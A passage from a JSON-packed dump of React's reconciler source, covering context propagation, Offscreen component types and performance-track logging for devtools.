StackCursor<Object | null>;\nif (__DEV__) {\n  rendererCursorDEV = createCursor(null);\n}\nlet renderer2CursorDEV: StackCursor<Object | null>;\nif (__DEV__) {\n  renderer2CursorDEV = createCursor(null);\n}\n\nlet rendererSigil;\nif (__DEV__) {\n  // Use this to detect multiple renderers using the same context\n  rendererSigil = {};\n}\n\nlet currentlyRenderingFiber: Fiber | null = null;\nlet lastContextDependency: ContextDependency<mixed> | null = null;\n\nlet isDisallowedContextReadInDEV: boolean = false;\n\nexport function resetContextDependencies(): void {\n  // This is called right before React yields execution, to ensure `readContext`\n  // cannot be called outside the render phase.\n  currentlyRenderingFiber = null;\n  lastContextDependency = null;\n  if (__DEV__) {\n    isDisallowedContextReadInDEV = false;\n  }\n}\n\nexport function enterDisallowedContextReadInDEV(): void {\n  if (__DEV__) {\n    isDisallowedContextReadInDEV = true;\n  }\n}\n\nexport function exitDisallowedContextReadInDEV(): void {\n  if (__DEV__) {\n    isDisallowedContextReadInDEV = false;\n  }\n}\n\nexport function pushProvider<T>(\n  providerFiber: Fiber,\n  context: ReactContext<T>,\n  nextValue: T,\n): void {\n  if (isPrimaryRenderer) {\n    push(valueCursor, context._currentValue, providerFiber);\n\n    context._currentValue = nextValue;\n    if (__DEV__) {\n      push(rendererCursorDEV, context._currentRenderer, providerFiber);\n\n      if (\n        context._currentRenderer !== undefined &&\n        context._currentRenderer !== null &&\n        context._currentRenderer !== rendererSigil\n      ) {\n        console.error(\n          'Detected multiple renderers concurrently rendering the ' +\n            'same context provider. This is currently unsupported.',\n        );\n      }\n      context._currentRenderer = rendererSigil;\n    }\n  } else {\n    push(valueCursor, context._currentValue2, providerFiber);\n\n    context._currentValue2 = nextValue;\n    if (__DEV__) {\n      push(renderer2CursorDEV, context._currentRenderer2, providerFiber);\n\n      if (\n        context._currentRenderer2 !== undefined &&\n        context._currentRenderer2 !== null &&\n        context._currentRenderer2 !== rendererSigil\n      ) {\n        console.error(\n          'Detected multiple renderers concurrently rendering the ' +\n            'same context provider. This is currently unsupported.',\n        );\n      }\n      context._currentRenderer2 = rendererSigil;\n    }\n  }\n}\n\nexport function popProvider(\n  context: ReactContext<any>,\n  providerFiber: Fiber,\n): void {\n  const currentValue = valueCursor.current;\n\n  if (isPrimaryRenderer) {\n    context._currentValue = currentValue;\n    if (__DEV__) {\n      const currentRenderer = rendererCursorDEV.current;\n      pop(rendererCursorDEV, providerFiber);\n      context._currentRenderer = currentRenderer;\n    }\n  } else {\n    context._currentValue2 = currentValue;\n    if (__DEV__) {\n      const currentRenderer2 = renderer2CursorDEV.current;\n      pop(renderer2CursorDEV, providerFiber);\n      context._currentRenderer2 = currentRenderer2;\n    }\n  }\n\n  pop(valueCursor, providerFiber);\n}\n\nexport function scheduleContextWorkOnParentPath(\n  parent: Fiber | null,\n  renderLanes: Lanes,\n  propagationRoot: Fiber,\n) {\n  // Update the child lanes of all the ancestors, including the alternates.\n  let node = parent;\n  while (node !== null) {\n    const alternate = node.alternate;\n    if (!isSubsetOfLanes(node.childLanes, renderLanes)) {\n      node.childLanes = mergeLanes(node.childLanes, renderLanes);\n      if (alternate !== null) {\n        alternate.childLanes = mergeLanes(alternate.childLanes, renderLanes);\n      }\n    } else if (\n      alternate !== null &&\n      !isSubsetOfLanes(alternate.childLanes, renderLanes)\n    ) {\n      alternate.childLanes = mergeLanes(alternate.childLanes, renderLanes);\n    } else {\n      // Neither alternate was updated.\n      // Normally, this would mean that the rest of the\n      // ancestor path already has sufficient priority.\n      // However, this is not necessarily true inside offscreen\n      // or fallback trees because childLanes may be inconsistent\n      // with the surroundings. This is why we continue the loop.\n    }\n    if (node === propagationRoot) {\n      break;\n    }\n    node = node.return;\n  }\n  if (__DEV__) {\n    if (node !== propagationRoot) {\n      console.error(\n        'Expected to find the propagation root when scheduling context work. ' +\n          'This error is likely caused by a bug in React. Please file an issue.',\n      );\n    }\n  }\n}\n\nexport function propagateContextChange<T>(\n  workInProgress: Fiber,\n  context: ReactContext<T>,\n  renderLanes: Lanes,\n): void {\n  // TODO: This path is only used by Cache components. Update\n  // lazilyPropagateParentContextChanges to look for Cache components so they\n  // can take advantage of lazy propagation.\n  const forcePropagateEntireTree = true;\n  propagateContextChanges(\n    workInProgress,\n    [context],\n    renderLanes,\n    forcePropagateEntireTree,\n  );\n}\n\nfunction propagateContextChanges<T>(\n  workInProgress: Fiber,\n  contexts: Array<any>,\n  renderLanes: Lanes,\n  forcePropagateEntireTree: boolean,\n): void {\n  let fiber = workInProgress.child;\n  if (fiber !== null) {\n    // Set the return pointer of the child to the work-in-progress fiber.\n    fiber.return = workInProgress;\n  }\n  while (fiber !== null) {\n    let nextFiber;\n\n    // Visit this fiber.\n    const list = fiber.dependencies;\n    if (list !== null) {\n      nextFiber = fiber.child;\n\n      let dep = list.firstContext;\n      findChangedDep: while (dep !== null) {\n        // Assigning these to constants to help Flow\n        const dependency = dep;\n        const consumer = fiber;\n        findContext: for (let i = 0; i < contexts.length; i++) {\n          const context: ReactContext<T> = contexts[i];\n          // Check if the context matches.\n          if (dependency.context === context) {\n            // Match! Schedule an update on this fiber.\n\n            // In the lazy implementation, don't mark a dirty flag on the\n            // dependency itself. Not all changes are propagated, so we can't\n            // rely on the propagation function alone to determine whether\n            // something has changed; the consumer will check. In the future, we\n            // could add back a dirty flag as an optimization to avoid double\n            // checking, but until we have selectors it's not really worth\n            // the trouble.\n            consumer.lanes = mergeLanes(consumer.lanes, renderLanes);\n            const alternate = consumer.alternate;\n            if (alternate !== null) {\n              alternate.lanes = mergeLanes(alternate.lanes, renderLanes);\n            }\n            scheduleContextWorkOnParentPath(\n              consumer.return,\n              renderLanes,\n              workInProgress,\n            );\n\n            if (!forcePropagateEntireTree) {\n              // During lazy propagation, when we find a match, we can defer\n              // propagating changes to the children, because we're going to\n              // visit them during render. We should continue propagating the\n              // siblings, though\n              nextFiber = null;\n            }\n\n            // Since we already found a match, we can stop traversing the\n            // dependency list.\n            break findChangedDep;\n          }\n        }\n        dep = dependency.next;\n      }\n    } else if (fiber.tag === DehydratedFragment) {\n      // If a dehydrated suspense boundary is in this subtree, we don't know\n      // if it will have any context consumers in it. The best we can do is\n      // mark it as having updates.\n      const parentSuspense = fiber.return;\n\n      if (parentSuspense === null) {\n        throw new Error(\n          'We just came from a parent so we must have had a parent. This is a bug in React.',\n        );\n      }\n\n      parentSuspense.lanes = mergeLanes(parentSuspense.lanes, renderLanes);\n      const alternate = parentSuspense.alternate;\n      if (alternate !== null) {\n        alternate.lanes = mergeLanes(alternate.lanes, renderLanes);\n      }\n      // This is intentionally passing this fiber as the parent\n      // because we want to schedule this fiber as having work\n      // on its children. We'll use the childLanes on\n      // this fiber to indicate that a context has changed.\n      scheduleContextWorkOnParentPath(\n        parentSuspense,\n        renderLanes,\n        workInProgress,\n      );\n      nextFiber = null;\n    } else if (\n      fiber.tag === SuspenseComponent &&\n      fiber.memoizedState !== null &&\n      fiber.memoizedState.dehydrated === null\n    ) {\n      // This is a client-rendered Suspense boundary that is currently\n      // showing its fallback. The primary children may include context\n      // consumers, but their fibers may not exist in the tree — during\n      // initial mount, if the primary children suspended, their fibers\n      // were discarded since there was no current tree to preserve them.\n      // We can't walk into the primary tree to find consumers, so\n      // conservatively mark the Suspense boundary itself for retry.\n      // When it re-renders, it will re-mount the primary children,\n      // which will read the updated context value.\n      fiber.lanes = mergeLanes(fiber.lanes, renderLanes);\n      const alternate = fiber.alternate;\n      if (alternate !== null) {\n        alternate.lanes = mergeLanes(alternate.lanes, renderLanes);\n      }\n      scheduleContextWorkOnParentPath(\n        fiber.return,\n        renderLanes,\n        workInProgress,\n      );\n      // The primary children's fibers may not exist in the tree (they\n      // were discarded on initial mount if they suspended). However, the\n      // fallback children ARE in the committed tree and visible to the\n      // user. We need to continue propagating into the fallback subtree\n      // so that its context consumers are marked for re-render.\n      //\n      // The fiber structure is:\n      //   SuspenseComponent\n      //     → child: OffscreenComponent (primary, hidden)\n      //       → sibling: FallbackFragment\n      //\n      // Skip the primary (hidden) subtree and jump to the fallback.\n      const primaryChildFragment = fiber.child;\n      if (primaryChildFragment !== null) {\n        nextFiber = primaryChildFragment.sibling;\n      } else {\n        nextFiber = null;\n      }\n    } else {\n      // Traverse down.\n      nextFiber = fiber.child;\n    }\n\n    if (nextFiber !== null) {\n      // Set the return pointer of the child to the work-in-progress fiber.\n      nextFiber.return = fiber;\n    } else {\n      // No child. Traverse to next sibling.\n      nextFiber = fiber;\n      while (nextFiber !== null) {\n        if (nextFiber === workInProgress) {\n          // We're back to the root of this subtree. Exit.\n          nextFiber = null;\n          break;\n        }\n        const sibling = nextFiber.sibling;\n        if (sibling !== null) {\n          // Set the return pointer of the sibling to the work-in-progress fiber.\n          sibling.return = nextFiber.return;\n          nextFiber = sibling;\n          break;\n        }\n        // No more siblings. Traverse up.\n        nextFiber = nextFiber.return;\n      }\n    }\n    fiber = nextFiber;\n  }\n}\n\nexport function lazilyPropagateParentContextChanges(\n  current: Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n): boolean {\n  const forcePropagateEntireTree = false;\n  return propagateParentContextChanges(\n    current,\n    workInProgress,\n    renderLanes,\n    forcePropagateEntireTree,\n  );\n}\n\n// Used for propagating a deferred tree (Suspense, Offscreen). We must propagate\n// to the entire subtree, because we won't revisit it until after the current\n// render has completed, at which point we'll have lost track of which providers\n// have changed.\nexport function propagateParentContextChangesToDeferredTree(\n  current: Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const forcePropagateEntireTree = true;\n  propagateParentContextChanges(\n    current,\n    workInProgress,\n    renderLanes,\n    forcePropagateEntireTree,\n  );\n}\n\nfunction propagateParentContextChanges(\n  current: Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n  forcePropagateEntireTree: boolean,\n): boolean {\n  // Collect all the parent providers that changed. Since this is usually small\n  // number, we use an Array instead of Set.\n  let contexts = null;\n  let parent: null | Fiber = workInProgress;\n  let isInsidePropagationBailout = false;\n  while (parent !== null) {\n    if (!isInsidePropagationBailout) {\n      if ((parent.flags & NeedsPropagation) !== NoFlags) {\n        isInsidePropagationBailout = true;\n      } else if ((parent.flags & DidPropagateContext) !== NoFlags) {\n        break;\n      }\n    }\n\n    if (parent.tag === ContextProvider) {\n      const currentParent = parent.alternate;\n\n      if (currentParent === null) {\n        throw new Error('Should have a current fiber. This is a bug in React.');\n      }\n\n      const oldProps = currentParent.memoizedProps;\n      if (oldProps !== null) {\n        const context: ReactContext<any> = parent.type;\n        const newProps = parent.pendingProps;\n        const newValue = newProps.value;\n\n        const oldValue = oldProps.value;\n\n        if (!is(newValue, oldValue)) {\n          if (contexts !== null) {\n            contexts.push(context);\n          } else {\n            contexts = [context];\n          }\n        }\n      }\n    } else if (parent === getHostTransitionProvider()) {\n      // During a host transition, a host component can act like a context\n      // provider. E.g. in React DOM, this would be a <form />.\n      const currentParent = parent.alternate;\n      if (currentParent === null) {\n        throw new Error('Should have a current fiber. This is a bug in React.');\n      }\n\n      const oldStateHook: Hook = currentParent.memoizedState;\n      const oldState: TransitionStatus = oldStateHook.memoizedState;\n\n      const newStateHook: Hook = parent.memoizedState;\n      const newState: TransitionStatus = newStateHook.memoizedState;\n\n      // This uses regular equality instead of Object.is because we assume that\n      // host transition state doesn't include NaN as a valid type.\n      if (oldState !== newState) {\n        if (contexts !== null) {\n          contexts.push(HostTransitionContext);\n        } else {\n          contexts = [HostTransitionContext];\n        }\n      }\n    }\n    parent = parent.return;\n  }\n\n  if (contexts !== null) {\n    // If there were any changed providers, search through the children and\n    // propagate their changes.\n    propagateContextChanges(\n      workInProgress,\n      contexts,\n      renderLanes,\n      forcePropagateEntireTree,\n    );\n  }\n\n  // This is an optimization so that we only propagate once per subtree. If a\n  // deeply nested child bails out, and it calls this propagation function, it\n  // uses this flag to know that the remaining ancestor providers have already\n  // been propagated.\n  //\n  // NOTE: This optimization is only necessary because we sometimes enter the\n  // begin phase of nodes that don't have any work scheduled on them —\n  // specifically, the siblings of a node that _does_ have scheduled work. The\n  // siblings will bail out and call this function again, even though we already\n  // propagated content changes to it and its subtree. So we use this flag to\n  // mark that the parent providers already propagated.\n  //\n  // Unfortunately, though, we need to ignore this flag when we're inside a\n  // tree whose context propagation was deferred — that's what the\n  // `NeedsPropagation` flag is for.\n  //\n  // If we could instead bail out before entering the siblings' begin phase,\n  // then we could remove both `DidPropagateContext` and `NeedsPropagation`.\n  // Consider this as part of the next refactor to the fiber tree structure.\n  workInProgress.flags |= DidPropagateContext;\n  return contexts !== null;\n}\n\nexport function checkIfContextChanged(\n  currentDependencies: Dependencies,\n): boolean {\n  // Iterate over the current dependencies to see if something changed. This\n  // only gets called if props and state has already bailed out, so it's a\n  // relatively uncommon path, except at the root of a changed subtree.\n  // Alternatively, we could move these comparisons into `readContext`, but\n  // that's a much hotter path, so I think this is an appropriate trade off.\n  let dependency = currentDependencies.firstContext;\n  while (dependency !== null) {\n    const context = dependency.context;\n    const newValue = isPrimaryRenderer\n      ? context._currentValue\n      : context._currentValue2;\n    const oldValue = dependency.memoizedValue;\n    if (!is(newValue, oldValue)) {\n      return true;\n    }\n    dependency = dependency.next;\n  }\n  return false;\n}\n\nexport function prepareToReadContext(\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n): void {\n  currentlyRenderingFiber = workInProgress;\n  lastContextDependency = null;\n\n  const dependencies = workInProgress.dependencies;\n  if (dependencies !== null) {\n    // Reset the work-in-progress list\n    dependencies.firstContext = null;\n  }\n}\n\nexport function readContext<T>(context: ReactContext<T>): T {\n  if (__DEV__) {\n    // This warning would fire if you read context inside a Hook like useMemo.\n    // Unlike the class check below, it's not enforced in production for perf.\n    if (isDisallowedContextReadInDEV) {\n      console.error(\n        'Context can only be read while React is rendering. ' +\n          'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n          'In function components, you can read it directly in the function body, but not ' +\n          'inside Hooks like useReducer() or useMemo().',\n      );\n    }\n  }\n  return readContextForConsumer(currentlyRenderingFiber, context);\n}\n\nexport function readContextDuringReconciliation<T>(\n  consumer: Fiber,\n  context: ReactContext<T>,\n  renderLanes: Lanes,\n): T {\n  if (currentlyRenderingFiber === null) {\n    prepareToReadContext(consumer, renderLanes);\n  }\n  return readContextForConsumer(consumer, context);\n}\n\nfunction readContextForConsumer<T>(\n  consumer: Fiber | null,\n  context: ReactContext<T>,\n): T {\n  const value = isPrimaryRenderer\n    ? context._currentValue\n    : context._currentValue2;\n\n  const contextItem = {\n    context: ((context: any): ReactContext<mixed>),\n    memoizedValue: value,\n    next: null,\n  };\n\n  if (lastContextDependency === null) {\n    if (consumer === null) {\n      throw new Error(\n        'Context can only be read while React is rendering. ' +\n          'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n          'In function components, you can read it directly in the function body, but not ' +\n          'inside Hooks like useReducer() or useMemo().',\n      );\n    }\n\n    // This is the first dependency for this component. Create a new list.\n    lastContextDependency = contextItem;\n    consumer.dependencies = __DEV__\n      ? {\n          lanes: NoLanes,\n          firstContext: contextItem,\n          _debugThenableState: null,\n        }\n      : {\n          lanes: NoLanes,\n          firstContext: contextItem,\n        };\n    consumer.flags |= NeedsPropagation;\n  } else {\n    // Append a new context item.\n    lastContextDependency = lastContextDependency.next = contextItem;\n  }\n  return value;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberOffscreenComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList, Wakeable} from 'shared/ReactTypes';\nimport type {Lanes} from './ReactFiberLane';\nimport type {SpawnedCachePool} from './ReactFiberCacheComponent';\nimport type {Transition} from 'react/src/ReactStartTransition';\nimport type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';\nimport type {RetryQueue} from './ReactFiberSuspenseComponent';\n\ntype OffscreenMode = 'hidden' | 'unstable-defer-without-hiding' | 'visible';\n\nexport type LegacyHiddenProps = {\n  mode?: OffscreenMode | null | void,\n  children?: ReactNodeList,\n};\n\nexport type OffscreenProps = {\n  // TODO: Pick an API before exposing the Offscreen type. I've chosen an enum\n  // for now, since we might have multiple variants. For example, hiding the\n  // content without changing the layout.\n  //\n  // Default mode is visible. Kind of a weird default for a component\n  // called \"Offscreen.\" Possible alt: <Visibility />?\n  mode?: OffscreenMode | null | void,\n  children?: ReactNodeList,\n};\n\n// We use the existence of the state object as an indicator that the component\n// is hidden.\nexport type OffscreenState = {\n  // TODO: This doesn't do anything, yet. It's always NoLanes. But eventually it\n  // will represent the pending work that must be included in the render in\n  // order to unhide the component.\n  baseLanes: Lanes,\n  cachePool: SpawnedCachePool | null,\n};\n\nexport type OffscreenQueue = {\n  transitions: Array<Transition> | null,\n  markerInstances: Array<TracingMarkerInstance> | null,\n  retryQueue: RetryQueue | null,\n};\n\ntype OffscreenVisibility = number;\n\nexport const OffscreenVisible = /*                     */ 0b001;\nexport const OffscreenPassiveEffectsConnected = /*     */ 0b010;\n\nexport type OffscreenInstance = {\n  _visibility: OffscreenVisibility,\n  _pendingMarkers: Set<TracingMarkerInstance> | null,\n  _transitions: Set<Transition> | null,\n  _retryCache: WeakSet<Wakeable> | Set<Wakeable> | null,\n};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberPerformanceTrack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable react-internal/no-production-logging */\n\nimport type {Fiber} from './ReactInternalTypes';\n\nimport type {Lanes} from './ReactFiberLane';\n\nimport type {CapturedValue} from './ReactCapturedValue';\n\nimport {SuspenseComponent} from './ReactWorkTags';\n\nimport getComponentNameFromFiber from './getComponentNameFromFiber';\n\nimport {\n  getGroupNameOfHighestPriorityLane,\n  includesOnlyHydrationLanes,\n  includesOnlyOffscreenLanes,\n  includesOnlyHydrationOrOffscreenLanes,\n  includesSomeLane,\n} from './ReactFiberLane';\n\nimport {\n  addValueToProperties,\n  addObjectToProperties,\n  addObjectDiffToProperties,\n} from 'shared/ReactPerformanceTrackProperties';\n\nimport {\n  enableProfilerTimer,\n  enableGestureTransition,\n  enablePerformanceIssueReporting,\n} from 'shared/ReactFeatureFlags';\n\nconst supportsUserTiming =\n  enableProfilerTimer &&\n  typeof console !== 'undefined' &&\n  typeof console.timeStamp === 'function' &&\n  (!__DEV__ ||\n    // In DEV we also rely on performance.measure\n    (typeof performance !== 'undefined' &&\n      // $FlowFixMe[method-unbinding]\n      typeof performance.measure === 'function'));\n\nconst COMPONENTS_TRACK = 'Components ⚛';\nconst LANES_TRACK_GROUP = 'Scheduler ⚛';\n\nlet currentTrack: string = 'Blocking'; // Lane\n\nexport function setCurrentTrackFromLanes(lanes: Lanes): void {\n  currentTrack = getGroupNameOfHighestPriorityLane(lanes);\n}\n\nexport function markAllLanesInOrder() {\n  if (supportsUserTiming) {\n    // Ensure we create all tracks in priority order. Currently performance.mark() are in\n    // first insertion order but performance.measure() are in the reverse order. We can\n    // always add the 0 time slot even if it's in the past. That's still considered for\n    // ordering.\n    console.timeStamp(\n      'Blocking Track',\n      0.003,\n      0.003,\n      'Blocking',\n      LANES_TRACK_GROUP,\n      'primary-light',\n    );\n    if (enableGestureTransition) {\n      console.timeStamp(\n        'Gesture Track',\n        0.003,\n        0.003,\n        'Gesture',\n        LANES_TRACK_GROUP,\n        'primary-light',\n      );\n    }\n    console.timeStamp(\n      'Transition Track',\n      0.003,\n      0.003,\n      'Transition',\n      LANES_TRACK_GROUP,\n      'primary-light',\n    );\n    console.timeStamp(\n      'Suspense Track',\n      0.003,\n      0.003,\n      'Suspense',\n      LANES_TRACK_GROUP,\n      'primary-light',\n    );\n    console.timeStamp(\n      'Idle Track',\n      0.003,\n      0.003,\n      'Idle',\n      LANES_TRACK_GROUP,\n      'primary-light',\n    );\n  }\n}\n\nfunction logComponentTrigger(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n  trigger: string,\n) {\n  if (supportsUserTiming) {\n    reusableComponentOptions.start = startTime;\n    reusableComponentOptions.end = endTime;\n    reusableComponentDevToolDetails.color = 'warning';\n    reusableComponentDevToolDetails.tooltipText = trigger;\n    reusableComponentDevToolDetails.properties = null;\n    const debugTask = fiber._debugTask;\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        performance.measure.bind(\n          performance,\n          trigger,\n          reusableComponentOptions,\n        ),\n      );\n    } else {\n      performance.measure(trigger, reusableComponentOptions);\n    }\n    performance.clearMeasures(trigger);\n  }\n}\n\nexport function logComponentMount(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n): void {\n  logComponentTrigger(fiber, startTime, endTime, 'Mount');\n}\n\nexport function logComponentUnmount(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n): void {\n  logComponentTrigger(fiber, startTime, endTime, 'Unmount');\n}\n\nexport function logComponentReappeared(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n): void {\n  logComponentTrigger(fiber, startTime, endTime, 'Reconnect');\n}\n\nexport function logComponentDisappeared(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n): void {\n  logComponentTrigger(fiber, startTime, endTime, 'Disconnect');\n}\n\nlet alreadyWarnedForDeepEquality = false;\n\nexport function pushDeepEquality(): boolean {\n  if (__DEV__) {\n    // If this is true then we don't reset it to false because we're tracking if any\n    // parent already warned about having deep equality props in this subtree.\n    return alreadyWarnedForDeepEquality;\n  }\n  return false;\n}\n\nexport function popDeepEquality(prev: boolean): void {\n  if (__DEV__) {\n    alreadyWarnedForDeepEquality = prev;\n  }\n}\n\nconst reusableComponentDevToolDetails = {\n  color: 'primary',\n  properties: (null: null | Array<[string, string]>),\n  tooltipText: '',\n  track: COMPONENTS_TRACK,\n};\n\nconst reusableComponentOptions: PerformanceMeasureOptions = {\n  start: -0,\n  end: -0,\n  detail: {\n    devtools: reusableComponentDevToolDetails,\n  },\n};\n\nconst reusableChangedPropsEntry = ['Changed Props', ''];\n\nconst reusableCascadingUpdateIssue = {\n  name: 'React: Cascading Update',\n  severity: 'warning',\n  description:\n    'A cascading update is an update that is triggered during an ongoing render. This can lead to performance issues.',\n  learnMoreUrl:\n    'https://react.dev/reference/dev-tools/react-performance-tracks#cascading-updates',\n};\n\nconst DEEP_EQUALITY_WARNING =\n  'This component received deeply equal props. It might benefit from useMemo or the React Compiler in its owner.';\n\nconst reusableDeeplyEqualPropsEntry = ['Changed Props', DEEP_EQUALITY_WARNING];\n\nexport function logComponentRender(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n  wasHydrated: boolean,\n  committedLanes: Lanes,\n): void {\n  const name = getComponentNameFromFiber(fiber);\n  if (name === null) {\n    // Skip\n    return;\n  }\n  if (supportsUserTiming) {\n    const alternate = fiber.alternate;\n    let selfTime: number = (fiber.actualDuration: any);\n    if (alternate === null || alternate.child !== fiber.child) {\n      for (let child = fiber.child; child !== null; child = child.sibling) {\n        selfTime -= (child.actualDuration: any);\n      }\n    }\n    const color =\n      selfTime < 0.5\n        ? wasHydrated\n          ? 'tertiary-light'\n          : 'primary-light'\n        : selfTime < 10\n          ? wasHydrated\n            ? 'tertiary'\n            : 'primary'\n          : selfTime < 100\n            ? wasHydrated\n              ? 'tertiary-dark'\n              : 'primary-dark'\n            : 'error';\n\n    if (!__DEV__) {\n      console.timeStamp(\n        name,\n        startTime,\n        endTime,\n        COMPONENTS_TRACK,\n        undefined,\n        color,\n      );\n    } else {\n      const props = fiber.memoizedProps;\n      const debugTask = fiber._debugTask;\n\n      if (\n        props !== null &&\n        alternate !== null &&\n        alternate.memoizedProps !== props\n      ) {\n        // If this is an update, we'll diff the props and emit which ones changed.\n        const properties: Array<[string, string]> = [reusableChangedPropsEntry];\n        const isDeeplyEqual = addObjectDiffToProperties(\n          alternate.memoizedProps,\n          props,\n          properties,\n          0,\n        );\n        if (properties.length > 1) {\n          if (\n            isDeeplyEqual &&\n            !alreadyWarnedForDeepEquality &&\n            !includesSomeLane(alternate.lanes, committedLanes) &&\n            (fiber.actualDuration: any) > 100\n          ) {\n            alreadyWarnedForDeepEquality = true;\n            // This is the first component in a subtree which rerendered with deeply equal props\n            // and didn't have its own work scheduled and took a non-trivial amount of time.\n            // We highlight this for further inspection.\n            // Note that we only consider this case if properties.length > 1 which it will only\n            // be if we have emitted any diffs. We'd only emit diffs if there were any nested\n            // equal objects. Therefore, we don't warn for simple shallow equality.\n            properties[0] = reusableDeeplyEqualPropsEntry;\n            reusableComponentDevToolDetails.color = 'warning';\n            reusableComponentDevToolDetails.tooltipText = DEEP_EQUALITY_WARNING;\n          } else {\n            reusableComponentDevToolDetails.color = color;\n            reusableComponentDevToolDetails.tooltipText = name;\n          }\n          reusableComponentDevToolDetails.properties = properties;\n          reusableComponentOptions.start = startTime;\n          reusableComponentOptions.end = endTime;\n\n          const measureName = '\\u200b' + name;\n          if (debugTask != null) {\n            debugTask.run(\n              // $FlowFixMe[method-unbinding]\n              performance.measure.bind(\n                performance,\n                measureName,\n                reusableComponentOptions,\n              ),\n            );\n          } else {\n            performance.measure(measureName, reusableComponentOptions);\n          }\n          performance.clearMeasures(measureName);\n        } else {\n          if (debugTask != null) {\n            debugTask.run(\n              // $FlowFixMe[method-unbinding]\n              console.timeStamp.bind(\n                console,\n                name,\n                startTime,\n                endTime,\n                COMPONENTS_TRACK,\n                undefined,\n                color,\n              ),\n            );\n          } else {\n            console.timeStamp(\n              name,\n              startTime,\n              endTime,\n              COMPONENTS_TRACK,\n              undefined,\n              color,\n            );\n          }\n        }\n      } else {\n        if (debugTask != null) {\n          debugTask.run(\n            // $FlowFixMe[method-unbinding]\n            console.timeStamp.bind(\n              console,\n              name,\n              startTime,\n              endTime,\n              COMPONENTS_TRACK,\n              undefined,\n              color,\n            ),\n          );\n        } else {\n          console.timeStamp(\n            name,\n            startTime,\n            endTime,\n            COMPONENTS_TRACK,\n            undefined,\n            color,\n          );\n        }\n      }\n    }\n  }\n}\n\nexport function logComponentErrored(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n  errors: Array<CapturedValue<mixed>>,\n): void {\n  if (supportsUserTiming) {\n    const name = getComponentNameFromFiber(fiber);\n    if (name === null) {\n      // Skip\n      return;\n    }\n    if (__DEV__) {\n      let debugTask: ?ConsoleTask = null;\n      const properties: Array<[string, string]> = [];\n      for (let i = 0; i < errors.length; i++) {\n        const capturedValue = errors[i];\n        if (debugTask == null && capturedValue.source !== null) {\n          // If the captured value has a source Fiber, use its debugTask for\n          // the stack instead of the error boundary's stack. So you can find\n          // which component errored since we don't show the errored render tree.\n          // TODO: Ideally we should instead, store the failed fibers and log the\n          // whole subtree including the component that errored.\n          debugTask = capturedValue.source._debugTask;\n        }\n        const error = capturedValue.value;\n        const message =\n          typeof error === 'object' &&\n          error !== null &&\n          typeof error.message === 'string'\n            ? // eslint-disable-next-line react-internal/safe-string-coercion\n              String(error.message)\n            : // eslint-disable-next-line react-internal/safe-string-coercion\n              String(error);\n        properties.push(['Error', message]);\n      }\n      if (fiber.key !== null) {\n        addValueToProperties('key', fiber.key, properties, 0, '');\n      }\n      if (fiber.memoizedProps !== null) {\n        addObjectToProperties(fiber.memoizedProps, properties, 0, '');\n      }\n      if (debugTask == null) {\n        // If the captured values don't have a debug task, fallback to the\n        // error boundary itself.\n        debugTask = fiber._debugTask;\n      }\n      const options: PerformanceMeasureOptions = {\n        start: startTime,\n        end: endTime,\n        detail: {\n          devtools: {\n            color: 'error',\n            track: COMPONENTS_TRACK,\n            tooltipText:\n              fiber.tag === SuspenseComponent\n                ? 'Hydration failed'\n                : 'Error boundary caught an error',\n            properties,\n          },\n        },\n      };\n\n      const measureName = '\\u200b' + name;\n      if (__DEV__ && debugTask) {\n        debugTask.run(\n          // $FlowFixMe[method-unbinding]\n          performance.measure.bind(performance, measureName, options),\n        );\n      } else {\n        performance.measure(measureName, options);\n      }\n      performance.clearMeasures(measureName);\n    } else {\n      console.timeStamp(\n        name,\n        startTime,\n        endTime,\n        COMPONENTS_TRACK,\n        undefined,\n        'error',\n      );\n    }\n  }\n}\n\nfunction logComponentEffectErrored(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n  errors: Array<CapturedValue<mixed>>,\n): void {\n  if (supportsUserTiming) {\n    const name = getComponentNameFromFiber(fiber);\n    if (name === null) {\n      // Skip\n      return;\n    }\n    if (__DEV__) {\n      const properties: Array<[string, string]> = [];\n      for (let i = 0; i < errors.length; i++) {\n        const capturedValue = errors[i];\n        const error = capturedValue.value;\n        const message =\n          typeof error === 'object' &&\n          error !== null &&\n          typeof error.message === 'string'\n            ? // eslint-disable-next-line react-internal/safe-string-coercion\n              String(error.message)\n            : // eslint-disable-next-line react-internal/safe-string-coercion\n              String(error);\n        properties.push(['Error', message]);\n      }\n      if (fiber.key !== null) {\n        addValueToProperties('key', fiber.key, properties, 0, '');\n      }\n      if (fiber.memoizedProps !== null) {\n        addObjectToProperties(fiber.memoizedProps, properties, 0, '');\n      }\n      const options = {\n        start: startTime,\n        end: endTime,\n        detail: {\n          devtools: {\n            color: 'error',\n            track: COMPONENTS_TRACK,\n            tooltipText: 'A lifecycle or effect errored',\n            properties,\n          },\n        },\n      };\n      const debugTask = fiber._debugTask;\n      const measureName = '\\u200b' + name;\n      if (debugTask) {\n        debugTask.run(\n          // $FlowFixMe[method-unbinding]\n          performance.measure.bind(performance, measureName, options),\n        );\n      } else {\n        performance.measure(measureName, options);\n      }\n      performance.clearMeasures(measureName);\n    } else {\n      